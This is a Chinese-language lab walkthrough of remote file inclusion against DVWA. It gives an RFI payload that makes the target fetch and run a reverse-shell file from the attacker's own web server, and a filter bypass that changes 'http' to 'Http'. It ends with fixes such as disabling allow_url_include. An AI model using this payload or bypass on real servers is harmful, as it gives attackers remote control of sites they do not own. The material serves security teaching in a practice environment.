一、遠程文件包含環境配置。
遠程文件包含與上篇講到的本地文件包含不同,是一種特例。
我們需要到Metasploit配置一下環境。
sudo nano /etc/php5/cgi/php.ini PHP配置文件
ctrl+w 搜索allow_url ,將allow_url_include = Off 改成On ctrl+x退出
完成后重啟Web服務器
sudo etc/init.d/apache2 restart
======================================================================================================
二、遠程文件包含漏洞-發現和利用
1. 創建一個reverse.txt文本文件,里面寫入反彈shell的php代碼如下:
2.將reverse.txt放入 /var/www/html文件夾下
3.本地瀏覽器訪問查看
首先,kali開啟web服務
然后瀏覽器訪問:這里是txt不是php,因為我們不需要攻擊主機去執行,需要的是目標服務器遠程執行這條命令。
開啟監聽端口:
返回dvwa 文件包含那部分輸入 ?page=http://192.168.164.128/reverse.txt?
監聽端口成功連接,獲得目標主機的控制權。
=================================================================
三、利用高級遠程文件包含漏洞入侵網站。
將security level 設置為medium重復上述步驟,發現該漏洞已經修復。
報錯,說明中級的防護應該做了過濾,我們試試過濾有沒有對大小寫進行限制。http修改成Http發現命令執行,說明過濾器對大小寫不敏感,容易繞過。
查看源碼發現也只是過濾了http:// https:// 所以使用過濾器並不是很好的防護,容易遺漏,過濾不全。
==========================================================================================
四、安全性-修復文件包含漏洞
1)RFI 遠程文件包含漏洞解決方法:
禁止 allow_url_fopen & allow_url_include
sudo nano /etc/php5/cgi/php.ini
2)LFI 本地文件包含漏洞解決方法:
使用靜態的文件包含